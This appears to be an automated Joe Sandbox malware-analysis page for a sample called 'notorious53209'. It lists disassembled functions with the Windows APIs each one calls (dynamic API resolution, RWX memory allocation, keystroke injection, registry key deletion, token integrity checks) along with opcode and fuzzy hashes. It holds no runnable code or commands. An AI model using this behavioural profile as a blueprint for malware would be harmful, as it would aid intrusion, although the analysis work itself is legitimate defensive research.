API String ID: 2574300362-3689287502
Opcode ID: 866407dbe0851be7bfe029b8fd681762b7cbe0013633b2c4b3aac9448d049fc2
Instruction ID: 7dfb92393f2a141ee35a00668c2965a0b566a950b08fbc8955f7b9e839db6335
Opcode Fuzzy Hash: 866407dbe0851be7bfe029b8fd681762b7cbe0013633b2c4b3aac9448d049fc2
Instruction Fuzzy Hash: A9D01770530713CFD720AF39ED0865676E8AF16792F11CD7AD89AD6250E670E890CA60

Function 00234D94 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00234DA2
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00234DB4

Strings

kernel32.dll, xrefs: 00234D9D
Wow64RevertWow64FsRedirection, xrefs: 00234DAE

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 6fd86aabe06ae60dca23a031185b4e6d9ab9603ab60dc1e04fb524f105a8ab71
Instruction ID: 1a8c4443ae4983b49e43b508bfa6109139f4acf866460fd098a3ac101ec5452b
Opcode Fuzzy Hash: 6fd86aabe06ae60dca23a031185b4e6d9ab9603ab60dc1e04fb524f105a8ab71
Instruction Fuzzy Hash: 9CD01771570713CFD720AF39ED08A8676E8AF0A395F11CC7AD8DAD6150E770E890CA60

Function 002B1072 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 002B1080
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 002B1092

Strings

RegDeleteKeyExW, xrefs: 002B108C
advapi32.dll, xrefs: 002B107B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 90b4946831187fcefc9ca6c93eaef282ced8736d29cf074223c8ff2c7cabde69
Instruction ID: 429076b37c393694163b2237d3cf360b1228fcb1314b85a5bd345a54e0f97264
Opcode Fuzzy Hash: 90b4946831187fcefc9ca6c93eaef282ced8736d29cf074223c8ff2c7cabde69
Instruction Fuzzy Hash: 9FD08C30460313CFC3215F39D82855B72E4AF15391B408D29A999C6150D770C4A08610

Function 002A93F5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 002A9403
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW,?,002BF910), ref: 002A9415

Strings

kernel32.dll, xrefs: 002A93FE
GetModuleHandleExW, xrefs: 002A940F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 42c3c3069cf8f23ca9ae0b70e02966d12b2d10b0c7167b0eb78514acd3305df1
Instruction ID: 0ec1bec12568769e6049e26ed6e47a698530830773cf7d94c580b07b86fa2267
Opcode Fuzzy Hash: 42c3c3069cf8f23ca9ae0b70e02966d12b2d10b0c7167b0eb78514acd3305df1
Instruction Fuzzy Hash: 01D01234570713CFD7205F36EE0C54676D5AF0A351B21CC3AD495D6550DA70D4D4CA50

Function 002876C5 Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1312b6cdb4e5b8407cfd049d3b11ea947a1c59cebfeb3f3c38269d32d2e6d122
Instruction ID: aafe2a738a57102e395f36874573a66aa19da2384f329671b705675e316d2345
Opcode Fuzzy Hash: 1312b6cdb4e5b8407cfd049d3b11ea947a1c59cebfeb3f3c38269d32d2e6d122
Instruction Fuzzy Hash: F5C18F79A15216EFDB14DF94C884EAEBBF5FF48314B208598E805EB290D730ED91DB90

Function 002AE33E Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 002AE3D2
CharLowerBuffW.USER32(?,?), ref: 002AE415

Part of subcall function 002ADAB9: CharLowerBuffW.USER32(?,?), ref: 002ADAD9

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 002AE615
_memmove.LIBCMT ref: 002AE628

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 2c943192d5fd3f118cdd6a1d34774beca88f925e24c37aedeccf48eb365f958a
Instruction ID: 2dcf9df6a8be1f1fad47741ce2f94823b7b30f647b70a37cc08818e6ef93b692
Opcode Fuzzy Hash: 2c943192d5fd3f118cdd6a1d34774beca88f925e24c37aedeccf48eb365f958a
Instruction Fuzzy Hash: AAC18DB1A283018FCB14DF28C48095ABBE4FF89714F15896DF8999B351DB70E956CF82

Function 002A83A8 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 002A83D8
CoUninitialize.OLE32 ref: 002A83E3

Part of subcall function 0028DA5D: CoCreateInstance.OLE32(?,00000000,00000005,?,?), ref: 0028DAC5

VariantInit.OLEAUT32(?), ref: 002A83EE
VariantClear.OLEAUT32(?), ref: 002A86BF

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: a3a57415e51f0858b3e4895545064ad38a0c18d673b5eb59d931c7602d3b4b9f
Instruction ID: 11e1b0db89b31b0cd6a9963fdd3316d92dcc0b78af4a87e29b5f2af124227e49
Opcode Fuzzy Hash: a3a57415e51f0858b3e4895545064ad38a0c18d673b5eb59d931c7602d3b4b9f
Instruction Fuzzy Hash: F9A135752247029FDB10DF14C885B2AB7E4BF8A714F144549F99A9B3A1CB70EC64CF42

Function 00287A78 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000), ref: 00287C32
CoTaskMemFree.OLE32(00000000), ref: 00287C4A
CLSIDFromProgID.OLE32(?,?), ref: 00287C6F
_memcmp.LIBCMT ref: 00287C90

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: b458eb032e19d015444bda344fd9769384ac5141e8dd405ba58022cb3dcb25d7
Instruction ID: 4705e2116c87ecf8d749caea5f4252ed7075e23df13ad7213a138a6bfa0fcf87
Opcode Fuzzy Hash: b458eb032e19d015444bda344fd9769384ac5141e8dd405ba58022cb3dcb25d7
Instruction Fuzzy Hash: 91813C75A1110AEFCB04DF94C984EEEB7B9FF89315F204199F505AB250DB71AE05CB60

Function 00286DF3 Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00286E04
SysAllocString.OLEAUT32(00000000), ref: 00286EAD
VariantCopy.OLEAUT32 ref: 00286EDC
VariantClear.OLEAUT32(?), ref: 00286F03

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 79d67e53ac062eb9b6b0b01b878a1d9dd1ea386aa8c7e99cb196ca0c2eb478d1
Instruction ID: 587a1dec931ffe478466c4dd1b30e2e47950521c4fc8a7bdeb53621f657dd34f
Opcode Fuzzy Hash: 79d67e53ac062eb9b6b0b01b878a1d9dd1ea386aa8c7e99cb196ca0c2eb478d1
Instruction Fuzzy Hash: 9051E9786393069ADB20BF65D895B2AB3E4AF19310F30881FE656C76D1DB70D8609F11

Function 002B9A63 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00BA5190,?), ref: 002B9AD2
ScreenToClient.USER32(00000002,00000002), ref: 002B9B05
MoveWindow.USER32(?,?,?,?,000000FF,00000001), ref: 002B9B72

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: ea0128ca3a98233e5bcb86ac78dd22956ee18b2f0ea4d849327ab014a464b25a
Instruction ID: d202e112e80202aa01398aa4728fbd95e072dcb312acd3c44e420fb5e1614766
Opcode Fuzzy Hash: ea0128ca3a98233e5bcb86ac78dd22956ee18b2f0ea4d849327ab014a464b25a
Instruction Fuzzy Hash: F5515234A10209EFCF10DF58E985AEE7BB5FF443A4F148669F9159B290D730AD91CB50

Function 002B8AC0 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001), ref: 002B8B4D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 2bd2e2e95904319215ef1dab8f923c112623e5039e6463882e9c2df198381ed7
Instruction ID: 4d8b86e548ba388ff45d8d7bbbf57942e55a7d623ecd030168e23f3aeb3a42c4
Opcode Fuzzy Hash: 2bd2e2e95904319215ef1dab8f923c112623e5039e6463882e9c2df198381ed7
Instruction Fuzzy Hash: 61311875230205BEEF208E38DC59FE9376CEB05398F244612FA59D62A1DE30A960CB41

Function 002BADF1 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 002BAE1A
GetWindowRect.USER32(?,?), ref: 002BAE90
PtInRect.USER32(?,?,002BC304), ref: 002BAEA0
MessageBeep.USER32(00000000), ref: 002BAF11

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 9a051922afba6e0f1e3dc9d499e4f0a435414538d1aa2503542784ab323c8ee2
Instruction ID: 6eac7ecd31d7320089ac2a9aa44c8b724efab09bc0c5a3f722147b24f88aacb6
Opcode Fuzzy Hash: 9a051922afba6e0f1e3dc9d499e4f0a435414538d1aa2503542784ab323c8ee2
Instruction Fuzzy Hash: 7441797061021ADFCB11CF58D888AE9BBF5FF48390F1881B9E8549B251D731E855CF92

Function 00290FE6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00291037
SetKeyboardState.USER32(00000080), ref: 00291053
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 002910B9
SendInput.USER32(00000001,00000000,0000001C), ref: 0029110B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 017c3adf437a407dc527ddd943c16a664bceab81197d4be29953f2f7ee80a0c4
Instruction ID: db6e5e2f53e075f1edd5dcef519419acef267f5b73dddb56a06e7547e2fe74e4
Opcode Fuzzy Hash: 017c3adf437a407dc527ddd943c16a664bceab81197d4be29953f2f7ee80a0c4
Instruction Fuzzy Hash: 87315C30E6068BAEFF348F678C097F9BBA9AF44310F04432AE995521D1C37689F49751

Function 00291121 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00291176
SetKeyboardState.USER32(00000080), ref: 00291192
PostMessageW.USER32(00000000,00000101,00000000), ref: 002911F1
SendInput.USER32(00000001,?,0000001C), ref: 00291243

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: d3cd5f9f98a71f161aac82eb56e947ffe793411ec94d343a06628f3564fe2d4b
Instruction ID: 0d8ca087523f627e0e0f95c5202ec75e56ee37fc19a0bc4a9be584fae8ef14f6
Opcode Fuzzy Hash: d3cd5f9f98a71f161aac82eb56e947ffe793411ec94d343a06628f3564fe2d4b
Instruction Fuzzy Hash: 6E314830D6021EAEFF319F6B8C097FABBAAAB49310F04432AE588921D1C37449749751

Function 00266415 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0026644B
__isleadbyte_l.LIBCMT ref: 00266479
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 002664A7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 002664DD

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 4f055312518e8af11ff522e10bf8481587f45b89cfa03b2a0a5ce5f38e86e302
Instruction ID: 22e07a6701b9a4d1d22558ee56d6a77a7b206c8f685b9a689c9e0581ac45fdbf
Opcode Fuzzy Hash: 4f055312518e8af11ff522e10bf8481587f45b89cfa03b2a0a5ce5f38e86e302
Instruction Fuzzy Hash: 9131CD31620257EFDB318F75CC49BAA7BB9FF40360F154529E864971A1EB31E8A0DB90

Function 002B5175 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 002B5189

Part of subcall function 0029387D: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00293897
Part of subcall function 0029387D: GetCurrentThreadId.KERNEL32(00000000,?,002952A7), ref: 0029389E
Part of subcall function 0029387D: AttachThreadInput.USER32(00000000,?,002952A7), ref: 002938A5

GetCaretPos.USER32(?), ref: 002B519A
ClientToScreen.USER32(00000000,?), ref: 002B51D5
GetForegroundWindow.USER32 ref: 002B51DB

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 002365ffd911e468301449fd91e2ce036ef4ad0c39950aef3bd617fc2047317d
Instruction ID: ca96ab3072b1e8338da50221a102a7ea03089bbd5efc502f1300f9f83f632eeb
Opcode Fuzzy Hash: 002365ffd911e468301449fd91e2ce036ef4ad0c39950aef3bd617fc2047317d
Instruction Fuzzy Hash: BF314FB1910108AFCB04EFA5CD45AEFB7F9EF89300F10406AE405E7241EA759E51CFA0

Function 00288B9E Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00288652: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00288669
Part of subcall function 00288652: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00288673
Part of subcall function 00288652: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00288682
